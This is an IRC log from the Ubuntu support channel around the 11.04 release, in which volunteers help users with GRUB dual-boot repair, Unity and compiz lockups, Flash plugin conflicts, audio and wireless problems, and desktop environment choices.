[01:48] <DasEi> kesi: two lines, save interfaces, then sudo service networking restart*
[01:48] <RavenHursT> I've set up all my chat accounts.. but I don't see anywhere that says.. "HEre's who's online"..
[01:48] <coz_> Jasonn,  o nce you get used to that  you will be hoooked...not sure about it on laptop although i see no reason it would be excessively difficult
[01:49] <kesi> DasEi: if this doesn't work, I'll try that.   I figured no harm since it's a new install anyways.
[01:49] <CodeForFood> Helo friends.
[01:49] <DasEi> kesi: are you already reinstalling ?
[01:49] <CodeForFood> Hello Friends
[01:50] <bazhang> CodeForFood, hi
[01:50] <balt11t> is there a help page for internet sharing from 11.04 to Windows 7?
[01:50] <kesi> DasEi: yes. got a pm from somebody suggesting that would fix it.  already at 90%.
[01:50] <CodeForFood> After a dist-upgrade, my video don't use al my screen, how i fix this?
[01:50] <DasEi> !ics | balt11t
[01:50] <ubottu> balt11t: If you want to share the internet connection of your Ubuntu machine with other machines in the network see https://help.ubuntu.com/community/InternetConnectionSharing
[01:51] <bazhang> CodeForFood, dist-upgrade? do you in fact mean version upgrade?
[01:51] <CodeForFood> bazhang, hi
[01:51] <DasEi> kesi: so that was all done to the wood, well , good luck
[01:51] <RavenHursT> Ok.. nevermind.. figured it out.. so then how do I get Empathy Internet MEssaging to load automatically when I boot?
[01:51] <CodeForFood> from 10.10 to 11.04
[01:51] <robbier> I have a quick question regarding wireless in Ubuntu 11.04.  In earlier versions of Ubuntu, I was able to install b43-fwcutter and my wireless would work just fine.  In the latest version of Ubuntu, however, even if I install b43-fwcutter, my wireless does not work.  The firmware is missing.  This is strange because this exact same process worked in previous versions, but not the latest.
[01:51] <CodeForFood> bazhang, from 10.10 to 11.04
[01:51] <quuxman> is there a program that can run gnome applets in a regular window?
[01:51] <needlez> has anyone noticed a glitch like with the gnome screensaver on ubuntu 11.04?? just wondering if its just me or if this is common, with other people?? i have a nvidia 310M and i'm getting this issue
[01:52] <needlez> robbier: what kind of wireless card??
[01:52] <balt11t> thanks DasEi
[01:52] <robbier> Broadcom B4309, it is a dell laptop.  Branded as Dell True Mobile something.
[01:53] <kesi> DasEi: done to the wood?   I appreciate your help, and I will follow what you said again if this doesn't work.   I was just surprised the installer could see and connect and so it seemed like a problem might have occurred during install.   This seemed safest
[01:53] <r00ter> hello, can you help me?
[01:53] <needlez> robbier: lspci | grep -i network in a terminal post that output
[01:54] <needlez> just wanna make sure its seeing it on the hardware
[01:54] <smp4488> is it possible to run a single full screen browser without a window manager?
[01:54] <kzman> hello
[01:54] <DasEi> kesi: It's fine, and a very common hardware
[01:54] <kzman> does ubuntu read flopy disks?
[01:54] <sgaap> smp4488: very likely yes
[01:54] <cache_surplus> jpohl: looks like you may have a bad byte somewhere, thats too bad. i recently had a question, why an older version of ubuntu desktop installed fine, while 10.10 and 11.x did not.
[01:55] <smp4488> sgaap: with just xorg?
[01:55] <DasEi> kzman: sure
[01:55] <miedda> im running 11.04 and would like to connect to my wireless network when the machine boots so i dont have to login
[01:55] <sgaap> smp, afaik you should be able to start and x session with only a browser
[01:55] <r00ter> I have ubuntu installed but I want to put a hard disk with windows already installed, how can i include this windows in my grub???
[01:55] <kzman> DasEi, but i am on 10.10, and it does not read any of these disks
[01:56] <Jordan_U> r00ter: Plug the disk in and run "sudo update-grub".
[01:56] <r00ter> i tried sudo update-grub but not work ...
[01:56] <DasEi> r00ter: attach to ubu-box, boot ubu, sudo os-prober
[01:56] <needlez> miedda: explain cant you just select auto connect?? and have it autoconnect you so your not typing the password every time??
[01:56] <DasEi> kzman: is there an entry in fstab ?
[01:56] <r00ter> no DasEi
[01:56] <forevertheuni> hi again well I tried the dpkg-reconf xorg-xserver.and nothing
[01:56] <DasEi> !fstab
[01:56] <ubottu> The /etc/fstab file indicates how drive partitions are to be used or otherwise integrated into the file system. See https://help.ubuntu.com/community/Fstab and http://www.tuxfiles.org/linuxhelp/fstab.html and !Partitions
[01:56] <Jordan_U> DasEi: os-prober on its own only prints information to stdout, it's update-grub which (using that output from os-prober) adds entries to the grub.cfg.
[01:56] <miedda> needlez: im using the machine as a server so i dont want to have to login
[01:57] <kanuha> I noticed that since installing 11.04 my network speed has dropped significantly. Is this an issue that can be resolved?
[01:57] <yakubori> hello
[01:57] <Jordan_U> r00ter: What is the output of "sudo os-prober"?
[01:57] <forevertheuni> I tried ubuntu failsafe mode.same thing black bg when I do alt+f1 I see glimps of the panel
[01:57] <needlez> robbier: run lspci | grep -i network in terminal and post results, so i can make sure it the rite wifi card im looking for
[01:57] <DasEi> Jordan_U: I know, if it's found ..
[01:57] <cdubya> Is there any way to customize the view in 11.04 to put the dock on the bottom? I tried to set it to left in the ubuntu unity plugin settings in compiz and logged out and logged back in, but it didn't make any difference....
[01:57] <yakubori> anyone having cd import issues w/ banshee - specifically artist/track data not appearing?
[01:57] <forevertheuni> kde is all that wrks
[01:57] <m0ksha> hi, I can't boot windows 7 since I Reinstalled grub -- tried using windows 7 repair utility / command line tools / nothing seems to work .. can anyone help please? thanks!
[01:58] <Jordan_U> m0ksha: What happens when you try to boot Windows?
[01:58] <sgaap> foreverthenuni: and if you enable compositing in kde (extra effects or whatever they are called)
[01:58] <r00ter> DasEi: after i will include this hard disk in fstab, the command sudo update-grub will work??
[01:58] <m0ksha> Jordan_U: it just hangs
[01:58] <r00ter> Jordan_U: i dont know pc is in my school...
[01:58] <m0ksha> Jordan_U: cursor
[01:59] <Rehan> is there a way i can transfer my currently installed ubuntu partition to my USB flash drive and just have it boot from there?
[01:59] <Jordan_U> m0ksha: Can you run boot info script as explained here: http://ubuntuforums.org/showthread.php?t=1291280 and pastebin the RESULTS.txt?
[01:59] <m0ksha> Jordan_U: again, sure
[01:59] <forevertheuni> ok in kde
[02:00] <DasEi> r00ter: first grubs needs to find the os, sudo update-grub then appends it to grub; fstab lets you automount your win-partitions , if desired to be used in ubu
[02:00] <Jordan_U> r00ter: Without more information we can't really be of much help.
[02:00] <r00ter> yes, i know Jordan_U , tomorrow i will try all the options you cant tell me now hehe
[02:01] <sgaap> forevertheuni, but are your extra window manager compositing features enabled in kde, it could just as well be that its glx/opengl stuff that goes wrong
[02:01] <nsd> cdubya: Honestly at this point seeing how bad (imo) Unity is, I'd just switch to another WM and use some other dock app; I know that there's others out there.
[02:01] <yakubori> banshee just keeps doing 'Audio CD/Unknown Artist/Track $num'... it got everything for the first cd I imported, but none of the subsequent ones.
[02:01] <forevertheuni> ubuntu failsafe uses composite?
[02:01] <Jordan_U> r00ter: One thing which would be particularly usefull, when you come back, would be the output of boot info script: http://ubuntuforums.org/showthread.php?t=1291280
[02:02] <sgaap> forevertheuni, it doesnt no
[02:02] <forevertheuni> yes I enabled them in kde
[02:02] <sgaap> forevertheuni, so you get a black screen in the unity fallback mode?
[02:03] <DasEi> Rehan: depends ..
[02:03] <cdubya> nsd, so out of curiosity, why the choice to use unity by default? If it's so bad, that is....
[02:03] <forevertheuni> y in all ubuntu options in gdm
[02:03] <r00ter> i will remember this Jordan_U thanks
[02:03] <Jordan_U> r00ter: You're welcome.
[02:03] <nsd> cdubya: Because it was the Ubuntu developers that made it. Personally, I don't see the point -- the Gnome developers have been trying to do more or less the same with Gnome 3, but instead of cooperating, the Ubuntu devs chose to go their own way.
[02:03] <DasEi> Rehan: either your usb is big enough, than can clone hd with dd, or use an approach like remastersys for a live system
[02:03] <m0ksha> Jordan_U: RESULTS are here: http://pastebin.com/5pEUfjMa
[02:04] <sgaap> forevertheuni, what do you mean by that?
[02:04] <Rehan> DasEi: yea my ubuntu partition is 10gb and my usb is 16GB. If I use dd, do i need to do anything for grub?
[02:04] <cache_surplus> sgaap: my eyes burned trying to decipher that last sentence
[02:04] <cache_surplus> also
[02:05] <forevertheuni> ubuntu ub classic ub classic no effects ub failsafe
[02:05] <DasEi> Rehan: no, if that goes wrong might have to, but often that works, if usb-boot is supported by box
[02:05] <cache_surplus> forevertheuni: those are the options for...?
[02:05] <Jordan_U> m0ksha: From that output grub doesn't even appear to be installed to the mbr. Where is grub loading from?
[02:05] <cache_surplus> oh. you mean in login splash?
[02:05] <forevertheuni> starting the session in gnome
[02:05] <cache_surplus> forevertheuni: your asking what they all do?
[02:05] <sgaap> cache: i think those are the options from gdm, it seems all fail but kde
[02:06] <sgaap> fail being a black screen
[02:06] <Rehan> DasEi: so i keep my grub2 on my box's MBR, and as long as the usb is plugged in prior to boot, it should find it?
[02:06] <forevertheuni> no I'm saying none work gnome is screwed
[02:06] <DasEi> Rehan: to be on the safe side, should do it from a live cd
[02:06] <forevertheuni> only kde workds
[02:06] <cache_surplus> failsafe?
[02:06] <m0ksha> Jordan_U: RESULTS grub actually just got removed when i tried to run the command line utils
[02:06] <cache_surplus> forevertheuni: are you able to login?
[02:06] <cdubya> any suggestions on other window managers to look at for 11.04?
[02:06] <m0ksha> Jordan_U: so i tried to boot from windows partition (without grub) and it still won't boot
[02:06] <m0ksha> Jordan_U: now I'm reinstalling grub again
[02:06] <DasEi> Rehan:yes, else can de-plug internal and let supergrubdisk repair it
[02:06] <forevertheuni> yes and then blackscreen popups show if I altf1 I can see glimps of the panel
[02:07] <Anope> hi all
[02:07] <Rehan> DasEi: i have another question, how can i run a java jnlp file?
[02:07] <cache_surplus> forevertheuni: so you you select the default top option, you log in, then it kicks you to cmdline, correct?
[02:07] <saganbyte> hi
[02:07] <Anom01y> http://www.infowars.com/police-state-kicks-into-overdrive-on-dubious-news-of-osama-takedown/
[02:07] <nsd> cdubya: If you want to go old school, try FVWM. If you want modern but light, use LXDE or Xfce. If you want lots of features, try KDE. Btw, you can get Xubuntu or Kubuntu's desktops by doing "sudo apt-get install kubuntu-desktop" or "xubuntu-desktop"
[02:07] <Jordan_U> !ot | Anom01y
[02:07] <ubottu> Anom01y: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[02:07] <DasEi> Rehan: no idea
[02:07] <bazhang> Anom01y, wrong channel for that
[02:08] <nsd> cdubya: I haven't used LXDE, so I can't say what it's like, but I hear it's very light on memory
[02:08] <envygeeks> !political | Anom01y
[02:08] <saganbyte> i m getting an error: Error opening terminal: unknown. while accessing a file via nano using sudo nano default
[02:08] <saganbyte> what could be wrong?
[02:08] <forevertheuni> cache_surplus, no no comnd line (i didn't try that one..just went to kde..it works)
[02:08] <Anom01y> oops
[02:08] <Anope> i have a question please,im on Win  i want to install Ubuntu from Wubu found in the ISO, and now he is downloading a torrent file
[02:08] <cdubya> nsd, nice....so you have any suggestions on WM's......
[02:08] <cache_surplus> your X server is not starting properly, pastebin your dmesg or tail 50 /var/log/messages
[02:08] <DasEi> Rehan: ##java
[02:08] <m0ksha> Jordan_U: here are the RESULTS after installing grub again: http://pastebin.com/nUPQeVPA
[02:08] <nsd> cdubya: I answered your question
[02:08] <Anope> Wubi sorry
[02:08] <cache_surplus> forevertheuni: so your able to log in,,, correct? whats the issue then...
[02:08] <m0ksha> sorry, Jordan wrong linkg
[02:09] <forevertheuni> cache_surplus, I can't go to gnome everything is black
[02:09] <cache_surplus> forevertheuni: do you not want to goto kde
[02:09] <nsd> cdubya: Xubuntu and Kubuntu are just Ubuntu with different window managers; doing sudo apt-get kubuntu will just install KDE
[02:09] <m0ksha> Jordan_U: correct link after grub install: http://pastebin.com/nUPQeVpa
[02:09] <cache_surplus> forevertheuni: thats a little tricky, and you may have to remove some .hidden files to get it back
[02:09] <Anope> can you help me nsd please ?
[02:09] <cdubya> nsd, so gnome is no more on 11.04?
[02:10] <forevertheuni> mv .gnome?
[02:10] <m0ksha> Jordan_U: the weird thing is, I have to use fdsik to toggle off the bootable option on the Win7 partition, otherwise grub won't run, and if i do that, i run grub and select win7 but i doesn't boot
[02:10] <Tooyota-4Runner> Looking for some assistance.  Just installed Ubuntu 11.04 32-bit version.  No errors.  When I restarted I was presented with the Grub2 shell.  Rebooted with the install CD and dropped to a shell on the root partition just installed on.  Removed grub-pc and grub-common.  Then installed grub-pc and grub-common.  Installed Grub without errors.  Rebooted and am still getting the Grub2 shell.  Anyone can help as to why it's not bo
[02:10] <cache_surplus> forevertheuni: so you have both kde and gdm running your X server.
[02:10] <cache_surplus> forevertheuni: stand by
[02:10] <forevertheuni> no I have gdm running that starts kde
[02:10] <nsd> Anope: I don't know anything about Wubi if that's what you're trying to ask about
[02:10] <forevertheuni> but both installed
[02:10] <cache_surplus> forevertheuni: yah that combo isnt the best way to do it
[02:10] <dvbuser> just installed 11.04, how can I get system monitor to put the resources into the top panel?
[02:10] <Anope> ok thank you anyway nsd
[02:10] <cdubya> nsd, that figures....ok thanks
[02:11] <nsd> cdubya: I wouldn't say it's no more, but the window manager component of it is kinda messed up (that is, all the other parts like the file, power, and session managers are fine)
[02:11] <m0ksha> Tooyota-4Runner: did you try running the boot info script?? lol
[02:11] <cache_surplus> forevertheuni: kde and gdm have come a long way, however, running them both to run each other desktop is really not the best way. if you dont clean logout, shutdown, something might go wrong,,, prolly what your experiencing now, and after upgrades and such.
[02:11] <Barridus> can gwibber be set to update more often than 5 minutes by editing some config file?
[02:12] <FrumiousTrue> anope - http://ubuntuforums.org/showthread.php?t=1639198
[02:12] <forevertheuni> I was running gnome when stupid upgrade failed
[02:12] <nsd> cdubya: I use FVWM with parts of Gnome, but I wouldn't advise trying it unless you're willing to spend a very long time editing configs to get it just how you like it (there's no visual configuration). I would very much suggest doing "sudo apt-get install xubuntu-desktop"
[02:12] <Anope> wana take a look thanks FrumiousTrue
[02:12] <DasEi> Barridus: setup cron
[02:12] <DasEi> !cron
[02:12] <ubottu> cron is a way to schedule execution of software/scripts. See https://help.ubuntu.com/community/CronHowto  -  There is also a decent Howto at http://www.tech-geeks.org/contrib/mdrone/cron&crontab-howto.htm
[02:12] <nsd> cdubya: Or sudo apt-get install kubuntu-desktop
[02:12] <LucasSpiker> null
[02:13] <Barridus> cron for gwibber?
[02:13] <jackster> it seems like there should be a better way than cron...
[02:13] <Tooyota-4Runner> m0ksha: No I have not I will do that now and report back
[02:13] <cache_surplus> forevertheuni: no, not mv .gnome do a cp -Rp of .hidden files to a new dir. then you can remove stuff, like .gconf, .gconfd contents, related to the desktop and whats currently there. like i said its tricky.
[02:13] <cache_surplus> forevertheuni: its an art
[02:14] <forevertheuni> been there done that before :( if it's user related I can start another user
[02:14] <m0ksha> Tooyota-4Runner: wait, check out this thread first http://ubuntuforums.org/showthread.php?t=1401716
[02:14] <cache_surplus> forevertheuni: usually you will lose your personal settings of look and feel, but thats ok, as long as you dont remove say, .mozilla or something like that... or .bash...
[02:15] <Jordan_U> m0ksha: Never install grub to a partittion. Always install it to the mbr. If the boot flag makes any difference at all then you haven't installed grub correctly.
[02:15] <cache_surplus> forevertheuni: focus on .gconf and .gconfd but back up first... k
[02:15] <forevertheuni> ok I just mv .gconf to .gconfold ;)
[02:15] <cache_surplus> forevertheuni: i also think there might be something wrong with your X server config say, /etc/X/xorg.conf
[02:15] <cache_surplus> opps /X11
[02:16] <forevertheuni> like what?
[02:16] <forevertheuni> I have my nvidia going fine
[02:16] <cache_surplus> dunno
[02:16] <JoseeAntonioR> Hello! I have a doubt. While a was in Google, searching for Ubuntu, I found this: http://ploum.net/post/102-official-ubuntu-id-cards-announced Is this real?
[02:17] <cache_surplus> forevertheuni: im better at fixing things when im logged into a box, rather then guessing
[02:17] <Tooyota-4Runner> m0ksha: I do not have raid setup.  Just IDE
[02:17] <forevertheuni> aye I know that
[02:17] <Tooyota-4Runner> Single drive and only ubuntu on it
[02:17] <cache_surplus> ask around more in here, someone knows more about this than i do for sure
[02:17] <cache_surplus> off the top of their head
[02:17] <forevertheuni> just another question.   flashplugin64-installer conflicts with flashplugin-nonfree
[02:17] <forevertheuni>   adobe-flashplugin:i386 provides flashplugin-nonfree and is present and installed.
[02:17] <forevertheuni> and I dont' have flashplugin installed anymore :s
[02:17] <forevertheuni> I'm stuck
[02:17] <hakeon_> can anyone help w/ libreoffice compatibility?
[02:18] <cache_surplus> forevertheuni: yah thats a fun one lol... i got mine to work no issues
[02:18] <m0ksha> Tooyota-4Runner: alright see what the script says then
[02:18] <dusf_> hello, on my upgrade and logging in to 11.04 of 20 mintues ago my mouse moves but i cannot click anything, there is a new apple-like dock on the left side of the screen, a ubuntu icon top left, but nothing else in my top panel - when i click the mouse button and or press keys the system doesn't respond - is there a know fix?
[02:18] <cache_surplus> forevertheuni: something to do with copying a .so file with the right name and path
[02:18] <forevertheuni> :S
[02:19] <forevertheuni> need to look at a .deb to have my bearings
[02:19] <forevertheuni> is there anyway to manually dl the upgrade scripts?
[02:19] <Axlin> dusf_: i've been having similar lockups happen to me fairly frequently, usually related to compiz glitching out. so you can't hit alt+f2 and type in: compiz --replace?
[02:19] <forevertheuni> to 11.04?
[02:19] <DasEi> Barridus: ah, that's not the rss-reader, but microblogging, yes there is a tab under settings on how often to refresh
[02:20] <cache_surplus> forevertheuni: here are some clues for .so issue
[02:20] <cache_surplus> http://pastebin.com/W8esfpk5
[02:20] <iconmefisto> forevertheuni: sudo apt-get install flashplugin-installer
[02:20] <cache_surplus> google the searchs with those lines, that link will pop up
[02:20] <forevertheuni> lol iconmefisto .it's broken believe me
[02:21] <cache_surplus> lemme see if i can find that link... sb
[02:21] <iconmefisto> forevertheuni: and make sure you have only one flash plugin installed
[02:21] <dusf_> Axlin: for me it happens immediately on logging in, several times, the mouse cursor moves but the system will not respond. i had compiz disabled in 10.10 for WINE, would it still be disabled on upgrading?
[02:21]  * Chuchulain waves to channel
[02:21] <cache_surplus> here is one i tried, but i dont think thats the final one  http://ubuntuforums.org/showthread.php?t=989448
[02:22] <root_> hu
[02:22] <root_> ht
[02:22] <root_> ?
[02:22] <forevertheuni> iconmefisto, I have none installed
[02:22] <Barridus> DasEi, yeah but it only goes down to 5, that's kind of an uneccesary limitation since the twitter API no longer gets crapped out if you do it too frequently.   most modern twitter clients allow very fast auto refreshes
[02:22] <assassin> hi
[02:22] <dusf_> Chuchulain: that's a very Irish name, welcome :)
[02:22] <Axlin> dusf_: the default unity desktop forces compiz to be running as far as i know. what you may want to do is install the "unity-2d" package to get unity without compiz effects
[02:22] <cache_surplus> forevertheuni: i think i had to download ver 9 adobe first, then ... um.. im trying to remember
[02:22] <iconmefisto> forevertheuni: so what's broken?
[02:22] <cache_surplus> http://www.fsckin.com/2007/09/20/how-to-install-adobe-flash-player-for-amd64-64-bit-on-debian-etch/
[02:23] <dusf_> Axlin: okay, so I log back in, try alt+f2 and compiz --replace ||| do i need to do something else with unity?
[02:23] <Chuchulain> dusf_, scottish here, but always cottoned to the stories of the tain bo cuilgne and heroes of ulster...
[02:23] <forevertheuni> when I try to install it says a weird msg like if it was installed
[02:23] <forevertheuni> I'll force the install of a deb...usually it works
[02:23] <moele> sooo, I was building QT 4.7.2 and was getting a few of the same issues with the PCH being not there, cant find a file etc.. so I would either touch <missing file> or mkdir <missing file> which fixed it everytime and it continued building, however my question is this:  What are the odds of this breaking the installation and having QT not function the way it was or is intended to? would it be fairly high?
[02:23] <Axlin> dusf_: well "compiz --replace" is only if it bugs out again, and it's not a guaranteed fix. that will only help if it's caused by compiz crashing on you
[02:23] <DasEi> Barridus: which app are you using for chatting ? pidgin allows, and I use twitter in browser, so it just goes faster than I read, without further tags
[02:24] <Barridus> DasEi, i was talking gwibber
[02:24] <dusf_> Axlin: well it's bugging out every boot so far, instantly, i haven't been able to interact with the GUI
[02:24] <Barridus> i actually like how it works now, except that refresh limitation
[02:24] <Chuchulain> dusf_, classic hero cycle ala j.campbell
[02:24] <cache_surplus> ohhh i found it,, here it is.... forevertheuni   http://thetechshop.org/showthread.php?168-Ubuntu-Installing-Flash-into-Firefox
[02:25] <DasEi> Barridus: I know, but not where it's config is stored
[02:25] <Axlin> dusf_: can you use the gnome desktop? from there you'll be able to install unity-2d
[02:25] <dusf_> Axlin: won't --replace just reinstall the same problem?
[02:25] <Barridus> yeah me neither DasEi
[02:25] <cache_surplus> forevertheuni: read that carefully, and give it a try
[02:25] <Axlin> compiz --replace will restart compiz, which is helpful if it crashes. but if it's not working in the first place, it won't be of much help dusf_
[02:25] <dusf_> Axlin: allow me to clarify for you, it is not just one or two panels that are unresponsive, i cannot interact with anything on the desktop, the mouse cursor moves but i cannot even hilight folders sitting on the desktop
[02:25] <forevertheuni> tnx
[02:26] <forevertheuni> it's really late can't think straight
[02:26] <dusf_> Axlin: tried taking a screenshot etc, no response
[02:26] <ayrton> how do i test if my intel driver is working properly
[02:26] <Axlin> dusf_: yes, so can you log into the gnome desktop at least?
[02:26] <dusf_> Axlin: yes
[02:26] <Barridus> DasEi, actually it's in gconf-editor.  didn't think of that before.  i'll see if this works
[02:27] <dusf_> Axlin: after alt-f2ing up a term how do i get back to gnome/x ?
[02:27] <Axlin> dusf_: and if you install "unity-2d" can you use unity without compiz effects?
[02:27] <Barridus> brb
[02:27] <dusf_> Axlin: please tell me how to install it, unless i just alt+f2 sudo apt-get install unity-2d?
[02:27] <Dogears> Why does Virtualbox need me to reinstall ose-dkms and remove ose-guest-dkms to allow it to start? All was working OK last night?
[02:27] <andygraybeal__> is unity2d available?  or is it slated for the future?
[02:28] <Axlin> dusf_: you'll bring up a terminal and yes, sudo apt-get install unity-2d
[02:28] <andygraybeal__> Axlin, awesome nice.
[02:28] <dusf_> Axlin: and the command do get back to gnome, or shut i just do a shutdown now ?
[02:28] <Tooyota-4Runner> m0ksha: This is what the Results are: => Grub 2 is installed in the MBR of /dev/sda and looks on the same drive in      partition #1 for (,msdos1)/boot/grub.
[02:28] <dusf_> s/do/to
[02:28] <dusf_> *should :)
[02:28] <Axlin> dusf_: to get back to gnome, log out and select it as your session before logging back in
[02:28] <skulltip> i find it weird each focused window's menu goes to the top of the bar, whatever it is called
[02:28] <dusf_> Axlin: so type exit? or.. ?
[02:29] <Axlin> dusf_: there's a little power icon in the top right. select it, and then log out
[02:29] <hiexpo> hola
[02:29] <dusf_> Axlin: wait, i thought alt-f2 would bring up the fullscreen term
[02:29] <Axlin> alt+f2 brings up the run dialog. did you mean ctrl-alt-f2?
[02:29] <dusf_> Axlin: the way it's acting i do not suspect it to respond bring up things in gnome
[02:29] <Axlin> if that's the case, ctrl-alt-f7 brings back the GUI
[02:29] <netbook> hey everyone! I have a microphone issue.
[02:29] <dusf_> ok
[02:30] <dusf_> Axlin: thanks. will i bother with compiz --replace or just ctrl-alt-f2 sudo apt-get install unity-2d and ctrl-alt-f7 back?
[02:30] <JoseeAntonioR> I have a doubt. I just want to know if this is real: http://ploum.net/post/102-official-ubuntu-id-cards-announced
[02:31] <tepster> is there a logitech mouse driver? i can't find a setting to control the mouse scroll wheel speed
[02:31] <iconmefisto> JoseeAntonioR: no?
[02:31] <Axlin> compiz --replace will only help if things lock up again, and it's caused by compiz. after installing unity 2d, you'll just log out, select your user name, and select unity 2d from the sessions list at the bottom
[02:31] <skulltip> clutter and unclutter are causing issues with mouse and FPS games, i'm killing 'unclutter'
[02:31] <JoseeAntonioR> iconmefisto Well, thanks.
[02:31] <Axlin> compiz --replace won't do anything for you in unity 2d though dusf_, as compiz isn't used in the 2d version
[02:31] <kindofabuzz> ok knocked myself, the only user, out of the admin group, how can i add myself back when i'm no longer in the sudoers?
[02:31] <tripelb> friends: I did stuff in the kitchen and ...my computer was off. what could have happened. everything was still plugged in.
[02:32] <skulltip> find the 2d interface kind of neat, opengl windowed games play better in 2d
[02:32] <tripelb> chrome said it had a strange shutdown and I could restore all the windows.
[02:32] <taglass> kindofabuzz: boot in single user mode and edit /etc/group
[02:33] <dusf_> Axlin: okay dude, back in 5/10 mins, hopefully from an open source operating system :)
[02:33] <Axlin> heh good luck
[02:33] <xiamx> doesn't single user mode require password too?
[02:34] <netbook> anyone have time to help me stop my mic output.  Its driving me crazy!
[02:35] <skulltip> someday will have live-preview of workspaces :P
[02:35] <xiamx> which port other than 443, 80, 21 is not commonly blocked by college gateway?
[02:36] <sidge> netbook, have you tried the sound prefferences dialog?
[02:36] <netbook> yes, even muting does not solve it
[02:36] <Bigvjc> Hi
[02:37] <sidge> could maybe try alsamixer
[02:37] <Bigvjc> Anyone hetr
[02:37] <netbook> i will attempt... just install alsamixer?
[02:38] <Chuchulain> Bigvjc, hetr?
[02:38] <sidge> its a terminal app, i think its installed be default
[02:38] <iconmefisto> netbook: should be installed
[02:38] <sidge> if not, it can be installed and then run from the terminal
[02:38] <nomad111> hi all im trying to install gnome 3 on maverick. is this the preferred method: http://www.kabindra.com.np/2011/04/how-to-install-vanilla-gnome-3-in-maverick/ ?
[02:39] <nomad111> or is there a stable release ppa
[02:39] <netbook> I am installing it now.  Will it automagically be configured, or do I have to switch to it?
[02:40] <sidge> odd that it wasnt allready installed
[02:40] <n-iCe> how do I change what way that SUPER + W work?
[02:40] <Axlin> n-iCe: install "compizconfig-settings-manager" and find it in system settings -> compiz settings -> scale
[02:40] <netbook> in the software center it was called "gnome alsa mixer"
[02:41] <cheapie> Hi. Can anybody help me with building an application from source?
[02:41] <Roasted> Does Ubuntu have any sort of software raid preinstalled? I'm setting up a NAS, where the OS will be on a flash drive and I have two SATA drives. I'm curious about software-raiding them.
[02:41] <sidge> netbook, it should work to type alsamixer in the terminal, which is under accessories
[02:41] <zifty> i installed postfix but i cannot send/receive email, my postconf: http://pastebin.com/LKYgFJsv my error: http://pastebin.com/FKhCpYhK can someone please help?
[02:41] <hiexpo> cheapie, why you trying to compile?
[02:42] <cheapie> Roasted: Yes, Ubuntu has software RAID. It's available from the alt CD.
[02:42] <Roasted> cheapie, it's not included in the repos?
[02:42] <cheapie> Hiexpo: It's a program called Skyscraper.
[02:42] <sidge> netbook you just installed the gui version which might work too, but ive not used it
[02:42] <Bigvjc> Hetr ?
[02:42] <cheapie> Roasted: Nope.
[02:42] <n-iCe> Axlin: thanks!
[02:43] <Roasted> cheapie, can I use mismatching drives? I understand if I use a 160 and 250 I'd have a max of 160 total, but my goal is to at least have some sort of mirroring.
[02:43] <zifty> please?
[02:43] <forevertheuni> hey mate tnx removing gconf and gconfd solved the ubuntu prob
[02:43] <Bigvjc> I cant install app keeps asking for root pass even if I sudo
[02:43] <cheapie> Roasted, I'd recommend LVM if you can use it.
[02:44] <Roasted> cheapie, well, okay... but can I use mismatching drives for raid?
[02:44] <sdwrage> Is there a way to resize the ext4 partition with gparted?
[02:44] <sdwrage> I am noticing I cant
[02:44] <sdwrage> I need space for Windows 7
[02:44] <Roasted> cheapie, also, during the alternate install CD does it ASK me about raid?
[02:44] <Apes> Hello, I'm having trouble setting up PuTTY with Ubuntu. I'm trying to get aptitude and 256-color support, but can only get one or the other. Terminal type xterm-256color gives 256-color. Term type linux gives proper lines in aptitude.
[02:44] <cheapie> Roasted: I don't know. Maybe someone else can help you. As for the 2nd question, it's in the partition setup step. Yes, it asks.
[02:45] <hiexpo> cheapie, what error you getting?
[02:45] <Bigvjc> Trying to install android app maker
[02:46] <cheapie> Hiexpo: All sorts of GTK errors at the make step. Lemme get an example.
[02:46] <sidge> I have a lot of questions about fglrx configuration, where might be a good place to ask?
[02:46] <hiexpo> cheapie, pastebin output
[02:46] <cheapie> @hiexpo: What's that?
[02:46] <dusf> Axlin: okay, back into ubuntu at least :) am i supposed to no longer have an applicaions and places menu etc? my old ubuntu menu had a nice WIne sub menu with all my installed program
[02:47] <hiexpo> !pastebin | cheapie
[02:47] <ubottu> cheapie: For posting multi-line texts into the channel, please use http://paste.ubuntu.com | To post !screenshots use http://imagebin.org/?page=add | !pastebinit to paste directly from command line | Make sure you give us the URL for your paste - see also the channel topic.
[02:47] <siick> hello, i just did change a /etc/default/grub to a wrong fb, now screen stays black after boot, is there any way to edit /etc/default/grub from grub's commandline at bootup?
[02:47] <cheapie> Hiexpo: Just a sec then...
[02:48] <hiexpo> cheapie, ok
[02:48] <cache_surplus> im out l8
[02:49] <ivancp> I cant open the addressbok, I get this error: GDBus.Error:org.gtk.GDBus.UnmappedGError.Quark._e_2ddata_2dbook_2derror.Code100: Cannot open book: Could not create DesktopcouchSession object
[02:49] <m0ksha> Jordan_U: how do you install grub to the MBR?  I've installed grub following the same procedure more or less in all the ubuntu docs
[02:49] <cheapie> Hiexpo: Here's make's output to stderr: http://paste.ubuntu.com/602578/
[02:49] <hiexpo> cheapie, ok brb
[02:49] <Chuchulain> siick, there is a way to do it by going into single user mode...i forget the specifics, unfortunately...
[02:49] <sidge> siik, there might be a faster  way, but you can edit /ect/default/grub after booting a live cd
[02:49] <Chuchulain> siick, you don't have access to live cd?
[02:50] <dusf> can i remove the new apple-like dock from the left of 11.04 and get my regular ubuntu, applications, system and places menus back?
[02:50] <cheapie> Dusf: Select "ubuntu classic" when logging in.
[02:51] <taglass> m0ksha: sudo dpkg-reconfigure grub-pc and choose sda as your destination
[02:51] <fizyplankton> really weird question. would there be any way to reset the keyboard drivers? my capslock key is backwords. meaning if the light is on, i have small letters. and vice versa. it started doing this like 5 mins ago. is there any way to restart the keyboard drivers?
[02:51] <m0ksha> taglass: thanks ill try that
[02:51] <fizyplankton> so yeah, as i type this message, capslock is on
[02:51] <gaelfx> I'm trying to play a DVD, but it doesn't seem to work and the logs show an error about reading scrambled data without authentication, what can I do to fix it?
[02:51] <zifty> ???
[02:52] <cheapie> fizyplankton: Have you tried rebooting? That always fixed it for me.
[02:52] <iconmefisto> fizyplankton: I have something similar, as of today. not capslock, but numlock is backwards
[02:52] <m0ksha> taglass: why do the ubuntu docs say to use grub-install --root-directory=/mnt/ /dev/sda?
[02:52] <fizyplankton> if any of yall know how to reset the keyboard drivers? im kind of in a hurry and rebooting isnt that great of an option right now
[02:52] <dusf> cheapie: thanks, gonna give xubuntu a shot too
[02:52] <KM0201> !dvd | gaelfx
